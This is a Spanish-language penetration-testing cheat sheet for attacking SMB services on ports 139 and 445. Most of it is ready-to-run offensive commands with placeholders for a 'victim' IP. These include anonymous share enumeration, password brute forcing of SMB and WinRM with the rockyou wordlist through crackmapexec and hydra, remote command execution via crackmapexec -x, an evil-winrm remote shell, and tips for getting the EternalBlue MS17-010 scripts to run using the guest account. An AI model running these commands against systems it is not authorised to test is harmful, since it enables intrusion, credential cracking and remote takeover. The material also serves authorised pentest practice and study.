139,445 - SMB
SMB (Server Message Block) es un protocolo cliente-servidor que controla el acceso a archivos y directorios enteros, así como a otros recursos de la red, como impresoras, routers o interfaces comparti
Comandos básicos
dir o ls # para listar directorio actual
get <archivo> # descargarnos en nuestra máquina un archivo
mget <carpeta> # descargarnos la carpeta entera a nuestra máquina un archivo
allinfo <archivo/carpeta> # saber el tamaño,permisos, atributso NTFS etc de dicho archivo/carpeta
Enumerar servicio,info
enum4linux <IP> # comanda básica sin credenciales
enum4linux -a [-u "<usuario>" -p "<password>"] <IP> # con credenciales validas
nmap --script "smb-enum-*" -p445 <IP> # enumerar con nmap
nmap --script "vuln and safe" -p445 <IP> # checkear que haya vulns básicas de smb y safe para que no sea muy intrusiva
Enumerar servicios,ficheros, carpetas etc
#smbclient
smbclient -L # listar servicios disponibles
smbclient --no-pass -L //<IP> # listar servicios disponibles sin credenciales (null user)
#smbmap
smbmap -H <IP> [-P <PORT>] # sin credenciales (null user)
smbmap -u "ususario" -p "pass" -H <IP> [-P <puerto>] # con credenciales
smbmap -H <IP> -R <share> # listar archivos en esta carpeta
#crackmapexec
crackmapexec smb <IP> -u '' -p '' --shares #sin credenciales (null user)
crackmapexec smb <IP> -u usuario -p pass --shares # con credenciales listar
crackmapexec smb <IP> -u usuario -p pass --users # listar usuarios
crackmapexec smb <IP> -u usuario -p pass --groups # listar grupos
crackmapexec smb <IP> -u usuario -p pass -x "whoami" # RCE
Fuerza bruta
# winrm
crackmapexec winrm <IP victima> -u user -p /usr/share/wordlists/rockyou.txt
# smb
crackmapexec smb <IP victima> -u user -p /usr/share/wordlists/rockyou.txt
# Linux
hydra -l <user> -P /usr/share/wordlists/rockyou.txt smb://<IP victima>
Conectarte al recurso
smbclient --no-pass //<IP>/<carpeta> # sin credenciales
smbclient //<IP>/<ruta> -U=user%password # con credenciales
Descargar archivo
sudo smbmap -R carpeta -H <IP> -A <archivo> -q # descargar a tu maquina local
Crear servidor smb con python
smbserver.py EjemploSmb $(pwd)
Evil-winrm
Si es el caso que con crackmapexec hemos conseguido credenciales del sistema y no esta el RDP abierto, podemos acceder mediante evil-winrm que utiliza el protocolo winrm para acceder al sistema victima y tener una shell
evil-winrm -i <IP/Domain> -u <user> -p <password>
Eternalblue ms17-010
Para solucionar el error de impacket a la hora de ejecutar los scripts dejo un link que medio soluciona el problema https://abhishekgk.medium.com/solution-impacket-error-ms17-010-a7787ebacf84
Si por ejemplo al hacer el check no sale todos los test en STATUS_ACCESS_DENIED
prueba de entrar en el script y añadir a USERNAME = ''
el usuario guest y vuelve a ejecutar.
Last updated